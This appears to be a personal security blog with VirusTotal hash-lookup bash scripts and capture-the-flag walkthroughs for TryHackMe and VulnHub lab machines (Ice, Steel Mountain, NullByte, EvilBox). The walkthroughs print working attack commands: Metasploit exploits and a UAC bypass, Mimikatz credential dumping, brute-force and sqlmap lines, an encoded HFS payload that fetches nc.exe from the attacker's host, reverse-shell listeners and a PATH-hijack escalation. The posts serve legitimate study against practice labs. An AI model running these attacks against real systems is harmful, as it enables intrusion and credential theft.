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30 Days Challenge: Day 02

Hello everyone, I am logging here the second day of my 30 days challange. Today, I was not able to read much from the book however, I am happy to share with you all a bash tool which can automate you to check whether it is suspicious or not based on the virustotal engine. By the way, you might experience the slowness of the tool, it is because of the rate limit set by the VirusTotal for the freemium user. I have mentioned briefly above it at [here](https://tcert.net/30-days-challenge-day-01/). In order to use this tool, you will have to have the hashes ready and it should be having **hashes.txt**. The steps were mentioned [here](https://tcert.net/30-days-challenge-day-01/) I have the tool uploaded here. I am sure it will get updated with passage of time. “` #!/usr/bin/env bash # you have to create virustotal account and get the free API key from there. I have redacted mine. VT_API_KEY=”redacted” # Check if API key is set if [[ -z “$VT_API_KEY” ]]; then echo “Error: VirusTotal API key is missing. Set it in the script or as an environment variable.” exit 1 fi # You have to generate the hashe values of the suspicious PDF files and store the value and name the file as hashes.txt INPUT_FILE=”hashes.txt” # Check if file exists if [[ ! -f “$INPUT_FILE” ]]; then echo “Error: File ‘$INPUT_FILE’ not found!” exit 1 fi # VirusTotal API URL API_URL=”https://www.virustotal.com/api/v3/files/” # Read each hash from the file and check with VirusTotal while read -r hash; do echo “Checking hash: $hash” # Send API request response=$(curl -s -X GET “${API_URL}${hash}” \ -H “x-apikey: ${VT_API_KEY}”) # Extract the detection status detected=$(echo “$response” | jq -r ‘.data.attributes.last_analysis_stats.malicious’) if [[ “$detected” -gt 0 ]]; then echo “⚠️ Detected by $detected antivirus engines” # Extract antivirus engines that flagged the file echo “Detected by:” echo “$response” | jq -r ‘.data.attributes.last_analysis_results | to_entries[] | select(.value.category == “malicious”) | “\(.key)”‘ else echo “✅ No threats detected” fi echo “—————————–” # Avoid hitting API rate limits sleep 15 done < "$INPUT_FILE" ``` Github link: https://github.com/samduk/toolz/blob/main/pdf_to_vt.sh
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30 Days Challenge: Day 01

Tashi Delek everyone, I hope you all are doing well 🙂  I know the way how I present my blog doesn’t attract much people, and those who read my blogs were either my old friends or new friends who I have met you somewhere and I had shamelessly bragged about my blog. The quality of the blog is still kind of crude, for which I am working on. I hope you will see the progress. You are most welcome to leave some comment and suggestions; and share your blog in the comment as well (please leave any suspicious link, I might block u for good). I am not sure you have heard about this book called Practical Malware Analysis. It is quite popular and, to be honest it has been occupying my to do list for quite sometime. I think  it is perfect time for me to read the book and share something which I learn each day apart from my daily chores. Of course, I see there were a couple of Lab exercise which I am going to do it and I will share the write-ups for the same. Since the first chapter was emphasizing on static analysis and check of the metadata, I thought to share with you an incidence. It was around 5:30PM (our office timing gets over by 5:00PM), I received an email from one of the department. They asked me to analyzed 10 PDFs and check whether it was suspicious or not.  I thought I need to automate the tasks with help of some bash scripts. Yes, when I received the sample, first thing I did was make a copy of the files. Since, I can’t share the original files here, let’s build the scenarios with help of some random files

Building Scenarios

cd /tmp 

mkdir original_samples 

cd original_samples 

touch sample{1..10}.pdf   #create 10 pdf files in one line

cd ..

Actual Analysis

cp -r original_samples samples 

cd samples 

ls -l samples
Step 01: Take the SHA256 of the file
for i in sample{1..10}.pdf; do sha256sum $i; done
Yes, since I use bash to do most of my works therefore, therefore so far it was ok. Let’s slice the column and store only the first field which contains the hashes.  Because I would like to write a script and do the virustotal check automatically.  
for i in sample{1..10}.pdf do sha256sum $i; done > hashes.txt
  I am not going to share here how to create a virustotal account here, if you have a facebook or instagram account, you can do it 😉 Yes, I got my Private API. I know such tasks could be easily completed if I use the ChatGPT or any AI tools, however, the reason I am doing these things is that I want to learn something. Of course, I could use the AI later when I really need the help. I am not against with AI but I am against using it before you understand the things you do. After doing some google-fu, I found a stackoverflow link on which some of the people they have discussed about scanning the sample with VirusTotal using the apikey I took down the script
#!/usr/bin/bash

while read -r line; do

  echo "$line"
  curl -s -X GET --url "https://www.virustotal.com/vtapi/v2/file/report?apikey=f41277fd391d1a80fc4cfbf0afae5184dXXXXXXXXXXXXXXXXXXXXXXXXXXXX&resource=$line"

done <"hashes.txt"

I am not able to get pass the entire hashes,  because I can only pass 4 hashes in 1 minutes and it can process 500 requests per day; rate limit.
  source: https://docs.virustotal.com/reference/public-vs-premium-api At that time, I was thinking how about I set a counter and after 4 requests, I should make the script sleep for 1 minutes and then proceed. If possible, when it reach 450 requests (count), should give me a prompt/ warning. Yes, that’s all for today! See you all  tomorrow 🙂   “` #!/usr/bin/env bash VT_API_KEY=”your_api_key_here” # Check if the API key is set if [[ -z “$VT_API_KEY” ]]; then echo “Error: VirusTotal API key is missing. Please set it in the script or as an environment variable.” exit 1 fi # File containing hashes INPUT_FILE=”hashes.txt” # Check if file exists if [[ ! -f “$INPUT_FILE” ]]; then echo “Error: File ‘$INPUT_FILE’ not found!” exit 1 fi # VirusTotal API URL API_URL=”https://www.virustotal.com/api/v3/files/” # Read each hash from the file and check with VirusTotal while read -r hash; do echo “Checking hash: $hash” # Send API request response=$(curl -s -X GET “${API_URL}${hash}” \ -H “x-apikey: ${VT_API_KEY}”) # Print the response echo “Response: $response” # Avoid sending too many requests at once (wait for 15 seconds) sleep 15 done < "$INPUT_FILE" ```
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Exploiting Windows & Privilege Escalation from TryHackMe (ICE Room)

Recon

NMAP SYN Scan
sudo nmap -sS -p- 10.10.185.210 -Pn -o nmap.log
For some reason, my nmap is taking a lot of time (perhaps I ran -p-  it means to enumerate all 65535 ports). Anyway, I quickly ran rustscan to get the ports.
rustscan -a 10.10.185.210 --range 1-65535
----. .-. .-. .----..---. .----. .---. .--. .-. .-. 
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | 
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | 
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' 
The Modern Day Port Scanner. 
________________________________________ 
: https://discord.gg/GFrQsGy : 
: https://github.com/RustScan/RustScan : 
-------------------------------------- 
😵 https://admin.tryhackme.com 

[~] The config file is expected to be at "/home/kali/.rustscan.toml" 
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers 
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.185.210:135 
Open 10.10.185.210:139 
Open 10.10.185.210:445 
Open 10.10.185.210:3389 
Open 10.10.185.210:5357 
Open 10.10.185.210:8000 
Open 10.10.185.210:49159 
Open 10.10.185.210:49160 
Open 10.10.185.210:49154 
Open 10.10.185.210:49152 
Open 10.10.185.210:49158 
Open 10.10.185.210:49153 
[~] Starting Script(s) 
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}") 

[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-26 11:43 EDT 
Initiating Ping Scan at 11:43 
Scanning 10.10.185.210 [2 ports] 
Completed Ping Scan at 11:43, 0.11s elapsed (1 total hosts) 
Initiating Parallel DNS resolution of 1 host. at 11:43 
Completed Parallel DNS resolution of 1 host. at 11:43, 0.04s elapsed 
DNS resolution of 1 IPs took 0.04s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] 
Initiating Connect Scan at 11:43 
Scanning 10.10.185.210 [12 ports] 
Discovered open port 445/tcp on 10.10.185.210 
Discovered open port 8000/tcp on 10.10.185.210 
Discovered open port 135/tcp on 10.10.185.210 
Discovered open port 49152/tcp on 10.10.185.210 
Discovered open port 139/tcp on 10.10.185.210 
Discovered open port 3389/tcp on 10.10.185.210 
Discovered open port 5357/tcp on 10.10.185.210 
Discovered open port 49158/tcp on 10.10.185.210 
Discovered open port 49154/tcp on 10.10.185.210 
Discovered open port 49153/tcp on 10.10.185.210 
Discovered open port 49160/tcp on 10.10.185.210 
Discovered open port 49159/tcp on 10.10.185.210 
Completed Connect Scan at 11:43, 0.18s elapsed (12 total ports) 
Nmap scan report for 10.10.185.210 
Host is up, received conn-refused (0.094s latency). 
Scanned at 2023-05-26 11:43:43 EDT for 0s

PORT STATE SERVICE REASON 
135/tcp open msrpc syn-ack 
139/tcp open netbios-ssn syn-ack 
445/tcp open microsoft-ds syn-ack 
3389/tcp open ms-wbt-server syn-ack 
5357/tcp open wsdapi syn-ack 
8000/tcp open http-alt syn-ack 
49152/tcp open unknown syn-ack 
49153/tcp open unknown syn-ack 
49154/tcp open unknown syn-ack 
49158/tcp open unknown syn-ack 
49159/tcp open unknown syn-ack 
49160/tcp open unknown syn-ack

Read data files from: /usr/bin/../share/nmap 
Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
I got all the open ports and I know there is way to pass the rustscan ports and combine it with nmap but I am not confident to try that. So let’s do our usual way.
nmap -sC -sV -p135,139,445,3389,5357,8000,49152,49153,49154,49158,49159,49160 10.10.185.210
This nmap will only enumerate services and service versions of the ports in this list, so literally, it could reduce a lot of overhead.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-26 11:44 EDT
Nmap scan report for 10.10.185.210
Host is up (0.094s latency).

PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=Dark-PC
| Not valid before: 2023-05-25T15:41:07
|_Not valid after: 2023-11-24T15:41:07
| rdp-ntlm-info: 
| Target_Name: DARK-PC
| NetBIOS_Domain_Name: DARK-PC
| NetBIOS_Computer_Name: DARK-PC
| DNS_Domain_Name: Dark-PC
| DNS_Computer_Name: Dark-PC
| Product_Version: 6.1.7601
|_ System_Time: 2023-05-26T15:46:16+00:00
|_ssl-date: 2023-05-26T15:46:21+00:00; +2s from scanner time.
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
8000/tcp open http Icecast streaming media server
|_http-title: Site doesn't have a title (text/html).
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: DARK-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02b59cba0cb7 (unknown)
| smb-security-mode: 
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
| 210: 
|_ Message signing enabled but not required
|_clock-skew: mean: 1h00m01s, deviation: 2h14m09s, median: 1s
| smb-os-discovery: 
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: Dark-PC
| NetBIOS computer name: DARK-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-05-26T10:46:15-05:00
| smb2-time: 
| date: 2023-05-26T15:46:16
|_ start_date: 2023-05-26T15:41:06

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.30 seconds
So based on the nmap result, we were we could easily answer the following questions. However, I must confess that since I am not a window user, I had to check which port runs MSRDP and apparently the service runs on port 3389 (the default port for MSRDP).

Gain Access

Based on our nmap Result: I spent quite sometime doing some online research on availability of public exploits and I bumped into couple of rabbit holes but it was not a complete lost as I was able to collect couple of interesting information such as you could bruteforce rdb with help of a new tool called crowbar. Rabbit hole:
sudo apt install crowbar -y 
crowbar -b rdp -s 10.10.185.210/32 -U /usr/share/seclists/Usernames/Names/names.txt -c 'password123'
It didn’t help but was quite interesting 🙂 Then I shift my focus to Icecast Streaming Media Server using Metasploit, I was able to get the initial foothold.
msfconsole 
search icecast 
use 0 
show options 
set RHOSTS 10.10.185.210 
set LHOST  10.6.22.85  # my kali local IP was not right
exploit
Since the port numbers were right so ran it using the exploit command. Answer:

Escalate

shell 

whoami 

sysinfo

run post/multi/recon/local_exploit_suggester
  Copy the first name of the exploit suggested and paste it into the answer sheet and press Control+Z to send the current shell in the background.
use exploit/windows/local/bypassuac_eventvwr

show options

set LHOST 10.6.22.85

set session 1 
run
Answer:

Looting

ps
Based on the previous readings (I read a couple of walkthroughs in the past and ask myself the question, how do those researchers know which services are vulnerable and how do they get that kind of intuition despite they don’t have the absolute information of some services. I think experiences teach them and of course a lot of reading.) I know that the name of the service related to the printer is spoolsv.exe Besides, there are so many things we could do with lsass (for privilege escalation) [2]. Now, let’s migrate to the process spoolsv.exe
migrate -N spoolsv.exe

getuid  # to check the user privilege
It’s affirmative that we have the full administrator privilege with the machine. Let’s load Mimikatz (a very powerful password-dumping tool).
load kiwi   # kiwi is the updated version of the Mimikatz

help
creds_all

Answer:

Post Exploitation

If you use the help command, you could answer all the questions in this section with a breeze 😉 username: dark password: Password01! IP: Password01! We could use rdp and check the machine 🙂
rdesktop -u dark 10.10.219.220

Reference

[1] https://www.rapid7.com/blog/post/2015/08/11/metasploit-local-exploit-suggester-do-less-get-more/ [2] https://www.linkedin.com/pulse/lsassexe-exploited-process-jitu-mani-das/ [3] https://blog.compass-security.com/2019/08/privilege-escalation-in-windows-domains-3-3/  
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Steel Mountain with and without using Metasploit

In this room you will enumerate a Windows machine, gain initial access with Metasploit, use Powershell to further enumerate the machine and escalate your privileges to Administrator. If you don’t have the right security tools and environment, deploy your own Kali Linux machine and control it in your browser, with our Kali Room. Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up. Task 1: Q1. Who is the employee of the month? Ans: Bill Harper  (We got it through the image name) Task 2: 1. Scan the machine with nmap. What is the port running a web server on? Ans: 8080 Although rustscan is very sexy but nmap was my first love so I don’t wanna leave it like that 😉 Not necessary in this case: I quickly ran gobuster and dirsearch with different dictionaries like how I did in my previous post. 2. Take a look at the other web server. What file server is running? Ans: Rejetto HTTP File Server Initially, I thought it was just HTTP File Server because the name is mentioned on their website. And I had to proceed to the next step as I am not sure what is the exact name (felt like how Ubuntu used to name their different release). 3. What is the CVE number of the exploit of this file server? Ans: 2014-6287 I googled the name of the service by adding the exploit wording. I got the file server name as well 🙂 Now, they were saying we need to use the Metasploit and get the user flag. To be honest, I was trying my best to stay away from the Metasploit however, the exploit was not working and I am afraid it might take more time to troubleshoot it so I was left with no option but to use it (but don’t worry, we will try it at the end of this post ;)).
msfconsole

show options
 
set RHOST 10.10.214.221

set LHOST 10.6.22.85
set LPORT 1337
 
set RPORT 8080 

exploit

sysinfo


shell
cd C:\Users\bill\Desktop
dir
type user.txt
We got the first user flag.txt here!
Privilege Escalation Part
Note from TryHackMe: ” To enumerate this machine, we will use a powershell script called **PowerUp**, its purpose is to evaluate a Windows machine and determine any abnormalies PowerUp aims to be a clearing house of common Windows privilege escalation vectors that rely on misconfigurations. – The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also writeable. This means we can replace the legitimate application without the malicious one, and restart the service, which will run our infected program!” The link to the script is here. On Kali: wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1 We can upload the script in three ways (actually that’s the way I know of) 1. upload script (Metasploit way and it is the simplest way if you are using Metasploit) 2. using python server 3. using smbserver We have uploaded the PowerUp.sh1 at C:\Users\bill\Desktop
upload /home/kali/tools/windows/PowerUp.ps1        #I keep everything categorized in my Kali because I am preparing certification exam ;) 

load powershell 
powershell_shell 
. .\PowerUp.ps1
Invoke-AllChecks
Remember this note from the TryHackMe: “The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also writeable. This means we can replace the legitimate application without the malicious one, and restart the service, which will run our infected program!” Now let’s prepare a reverse shell 🙂 And upload it to the Windows Machine. Method 1 for file transfer: smbserver On Kali: (Where you have saved your Advanced.exe) run this command
python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
On Window
copy \\IP_KALI\kali\Advanced.exe C:\Users\bill\Desktop\Advanced.exe
Note: The reason why I am emphasizing this over and over again is that I personally trying my best not to use Metasploit as I am gonna prepare OSCP soon.  By the way, you can bind the command in your .zshrc like mine. Method 2 for file transfer: Metasploit way Yes, initially I copied the binary to path C:\Program Files (x86)\IObit\Advanced SystemCare
sc stop AdvancedSystemCareService9

sc start  AdvancedSystemCareService9
It didn’t work. So I copy the file to the path C:\Program Files (x86)\IObit\ And tried. Guess what? We got a reverse shell with root privilege! Privilege Escalation was Successful! We need to stop the current service and then restart it.     Yippy! Here is the root flag! Taking down the Steel Mountain manually We are already well aware of the vulnerability of the application and the exploit (that we got during our reconnaissance phase). I was trying different approaches and fixing the exploit, however, all efforts bear no fruition apart from the thing that if I run the exploit with port 80, it returns no error. So I peeked at a walkthrough (I have attached it in the reference section[2]). The author explain it well that all we have to do is add the port 8080 in the exploit section. Original Code: vbs = “C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F”+ip_addr+”%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with” Update Code: vbs = “C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F”+ip_addr+”%3A8080%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with” All you have to do is add %3A8080 there.   If you were thinking why we add %3A is here 😉 Yes, need to download nc program (here it is) and on your Kali, you have to run this
nc -lvp 443    #on which we are expecting a revershell and could access Window. By the way, this port number is the same as what you have in your python exploit that you have downloaded from the exploit-db
On one Terminal, you can spin a web server with port 8080
python3 -m http.server 8080
And on another Terminal, you have to run the python exploit.
python2 39161.py 10.10.214.221 8080   # run this command twice or thrice
User Flag: Now, we are going to upload the winPea.bat
copy \\10.6.22.85\kali\winPEAS.bat C:\Users\bill\Desktop\winpeas.bat

winpeas.bat

Uploading the exploit (Advanced.exe) to   My doubt in the previous step got cleared. When I stop the service, I could able to copy inside the target directory, besides, I could override the binary name 🙂
sc stop AdvancedSystemCareService9

copy \\10.6.22.85\kali\Advanced.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
  On Kali, we need to set up the NC
nc -lvp 9001
Finally got the root 😉 I must confess that I need to find a way to quickly read the result spits from the winPEA.bat (else it is quite time-consuming as well as there is a high chance of skipping important information).
.\winPEA.bat servicesinfo  #looks like a one way to go though
 

Reference:

[1] https://subscription.packtpub.com/book/networking-&-servers/9781786463166/1/ch01lvl1sec20/vulnerability-analysis-of-hfs-23 [2] https://zacheller.dev/thm-steelmountain [3] https://www.youtube.com/watch?v=BzmljZkgeSs&ab_channel=HackerSploit    
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This is NullByte from vulhub

Overview:

Target Machine IP Address: 192.168.56.122  
My Machine IP Address: 192.168.56.117

Mission:

Boot to Root

Get to /root/proof.txt and follow the instructions.

Level: Basic to intermediate.

Description: Boot2root, box will get IP from dhcp, works fine with virtualbox&vmware.

Hints: Use your lateral thinking skills, maybe you’ll need to write some code.

Download:

You can download the machine from here.
************************************ Information Gathering & Scanning Process:
sudo arp-scan --interface=eth1 192.168.56.1/24
nmap -sC -sV -p- -Pn 192.168.56.122 -o nmap.log
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Null Byte 00 - level 1
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo: 
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 32979/udp6 status
| 100024 1 42801/udp status
| 100024 1 48014/tcp status
|_ 100024 1 60755/tcp6 status
777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
| 1024 163013d9d55536e81bb7d9ba552fd744 (DSA)
| 2048 29aa7d2e608ba6a1c2bd7cc8bd3cf4f2 (RSA)
| 256 6006e3648f8a6fa7745a8b3fe1249396 (ECDSA)
|_ 256 bcf7448d796a194876a3e24492dc13a2 (ED25519)
48014/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Let’s visit the IP address as it is running the Apache web server. No robots.txt, nothing is hidden in the source code.  Downloaded the image and checked its metadata using Exiftool. Found nothing important.
wget http://192.168.56.122/main.gif

exiftool main.gif
Let’s check whether any directories or files are in the web server (apart from the index page).
gobuster dir -u http://192.168.56.122 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.log
I mentioned in my previous walkthroughs that I will be using dirsearch (along with gobuster) with common.txt, to be on the safe side 😉
dirsearch -u http://192.168.56.122 -e .html,.php,.txt,.php.bak,.bak,.zip -w /usr/share/wordlists/dirb/common.txt -f
  There are a couple of directories we found, which are javascript, phpmyadmin, and uploads. However, the bad news is that; apart from phpmyadmin, both of the folders were protected. To be honest, at this point, I ran out of ideas or leads on what should I do (I feel a little exhausted because I haven’t slept well as there was construction going on near my place and their sight emits an intense light throughout the night which literally makes my room has no difference between the day or night. I am going to find a solution for that, like covering the window blinds with some bed sheets). Anyway, I know that this machine is not a new one, so I quickly sneaked into other people’s walkthrough. I had to redo perform the exiftool on the image file that we downloaded earlier. Yes, we got a string. Initially, I thought it might be the password because we know that the machine has SSH running. And in the past, I remember, I did a machine and I got the password, but I was not able to find the username, and the username was actually the machine name. Therefore, I used nullbyte as the username and kzMb5nVYJw as the password (this time with a little hope). However, it was not the case.  I tried to identify whether it is some kind of hash or encoded message. With my limited exposure, I was not able to do anything. Yes, I had to sneak again. Oh man! It is just a name of a directory (who would think that but yeah, I need to keep these things in my mind so that I won’t have to fall on my nose again later when a similar situation arises) You might not believe that I have tried all the tricks I know to get the pin number however, all effort went in vain. (I increased my VM to 16 gigs and gave burp 8 gigs and ran the intruder with rockyou.txt payload for one entire night. It was running but I get a sense that this is not the intended way to solve it. Of course, if you were doing it professionally then you have to stick with your own methodology.) A few years back, I have a friend who bruteforce an Android TV locked with pin using Hydra. So I think I could try that too. Yes, I got the logic but my syntax was not correct. Out of separation, I asked ChatGPT to fix the syntax. My gosh, it is just because of a minor quotation mark that messed up my script. Anyway, here is the working syntax.
hydra -s 80 192.168.56.122 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -P /usr/share/wordlists/rockyou.txt -la | tee nullbyte.hydra
  After entering the PIN code, we got another input type box.  Based on the prompt, it looks like there is a database running behind the application. Here are the screenshots. When I enter 1 in the Enter username: Input Box of the webpage, the URL gets changed and I am able to inject or insert value into the database. Therefore, I am going to use this URL on SQLMap.  (Remember, I remember a couple of hours to solve previous boxes and during that, I took a good amount of notes on how to use sqlmap. It pays now 😉 )
sqlmap -u http://192.168.56.122/kzMb5nVYJw/420search.php?usrtosearch=1
Note: Yes, it works and informed me (in a bold letter) that it is injectable and that it is running MYSQL database. Then I try to enumerate to know the name of the database.
sqlmap -u http://192.168.56.122/kzMb5nVYJw/420search.php?usrtosearch=1 --dbs
  Now, I need to know the table name, column name, and the data within it.
sqlmap -u http://192.168.56.122/kzMb5nVYJw/420search.php?usrtosearch=1 -D seth --tables 
 
sqlmap -u http://192.168.56.122/kzMb5nVYJw/420search.php?usrtosearch=1 -D seth -T user --columns 
 
sqlmap -u http://192.168.56.122/kzMb5nVYJw/420search.php?usrtosearch=1 -D seth -T user -C user --dump 
     
sqlmap -u http://192.168.56.122/kzMb5nVYJw/420search.php?usrtosearch=1 -D seth -T user -C pass --dump 
Just to get myself the hang of knowledge, I follow it stepwise. Otherwise, if you are playing some kind of CTF (especially when time is not in your favor, I think you could directly dump the table).
sqlmap -u http://192.168.56.122/kzMb5nVYJw/420search.php?usrtosearch=1 -D seth -T users --dump
Database: seth user: isis pass: YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE
echo "YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE" | base64 -d
We get this string c6d6bd7ebf806f43c76acc3681703b81base64:    And I need to do a little cleaning there (I must confess it took a while for me to notice it).  I have to remove “base64:” from the above string. c6d6bd7ebf806f43c76acc3681703b81 I tried hash_id first and it somewhat gives me a hunch that it is md5 hash. However, when I ran hash-identifier. It helped me to confirm that the string is indeed md5 hash. So to break md5hash, I know two ways, here is it…
hashcat -m 0 'c6d6bd7ebf806f43c76acc3681703b81' /usr/share/wordlists/rockyou.txt
Output: omega An alternate method is to use crackstation.net to do the md5 hash crack for you. We got an Initial foot-hold! I ran a command
ls  -lR /home
Come to know there is user with home folder: bob, eric and ramses Based on my previous experience playing with boxes, I need to manually check everywhere where I think usually the useful files are located and if I ran out of options, then we could leverage the power of linpeas.sh 🙂 Initially, I thought I could find a user flag, but it looks like this box doesn’t contain any user flag because I search the entire box using the following command
find / -type f -name user.txt 2>/dev/null
        Not necessary Rabbit holes: I checked the kernel version and tried with the dirty cow exploit. To be candid, I think we could pwn the machine through kernel exploit but we must need to invest more time, so let’s not delve too much because my plate is rather full at this moment. By the way, I tried this exploit.   Another Rabbit hole: Then while I was checking here and there, I got the MySQL root password. I wasn’t able to find anything useful and, I checked the version of MYSQL. It was running quite an old version, thought I could get something out of it. My hopes were pretty high. But it wasn’t that helpful. By the way, I tried this exploit. Main Findings: Then, I found (which means I spent quite some time looking here and there lol) a backup folder. A procwatch binary is running with root privilege. Based on the output, we can’t make it out that is listing the process running on the machine, exactly like ps command. We will use the path redirection to escalate the privilege.
echo "/bin/sh"  >  ps
chmod +x ps
add the location (path) of the procwatch
export PATH="/var/www/backup:$PATH"


./procwatch

id
We got the root! Finally done with null byte. However, I am going to redo this machine later on because I want to try manual sql injection because for OSCP we can’t use the sqlmap tool.   It’s 5:07PM and I am finally going to have lunch now lol Referred link: – https://linuxize.com/post/how-to-add-directory-to-path-in-linux/

How I took down EvilBox from vulnhub

Overview:

Target Machine IP Address: 192.168.56.120
My Machine IP Address: 192.168.56.117

Mission:

Boot to Root 1. To get a user and a root flag 2. To get root access

Description:

As a preparation for the upcoming CEH practical Exam, I am going to take down this box. It is rated as easy so let me drive into it. Because I want to increase my craving. 
Once I gets comfortable with the easy boxes, I want to go with medium or hard box. By the way, beginning of June, I will be playing medium boxes.

Level: Easy

Easy

Download:

You can download the machine from here.
************************************ Information Gathering & Scanning Process: Since the machine spits the IP address directly when it boots, so we don’t have to do anything. Target IP: 192.168.56.120
nmap -sC -sV -p- -Pn 192.168.56.120 -o nmap.log
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-18 10:31 EDT
Nmap scan report for 192.168.56.120
Host is up (0.00029s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
| 2048 4495500be473a18511ca10ec1ccbd426 (RSA)
| 256 27db6ac73a9c5a0e47ba8d81ebd6d63c (ECDSA)
|_ 256 e30756a92563d4ce3901c19ad9fede64 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.94 seconds
Since there is an Apache web server running, so let’s do a scanning (with my favorite tool gobuster and dirsearch. I hope you remember gobuster was not able to detect one important thing that was detected by dirsearch; here is the link to that writeup )
gobuster dir -u http://192.168.56.120 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.log
Output
dirsearch -u http://192.168.56.120 -e .html,.php,.txt,.php.bak,.bak,.zip -w /usr/share/wordlists/dirb/common.txt -f
Output   http://192.168.56.200/robots.txt
Hello H4x0r
http://192.168.56.200/secret I was not able to find anything. Let’s check whether there are any files or folders in http://192.168.56.120/secret/
gobuster dir -u http://192.168.56.120/secret/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster_secret.log
Output Yes, you might see nothing, but that is not because the tool is bad but because remember, we are using different wordlists. (To be honest, I don’t want to miss any)
dirsearch -u http://192.168.56.120/secret/ -e .html,.php,.txt,.php.bak,.bak,.zip -w /usr/share/wordlists/dirb/common.txt -f
We found something 😉 http://192.168.56.120/secret/evil.php We need to find the GET parameter in the URL. We could use WFUZZ or ffuf. This time, we shall try FFUF. Want to know more about FFUFhttps://www.youtube.com/watch?v=aN3Nayvd7FU&ab_channel=InsiderPhDhttps://www.youtube.com/watch?v=iLFkxAmwXF0&ab_channel=codingohttps://www.youtube.com/watch?v=9Hik0xy9qd0&ab_channel=HackerSploit
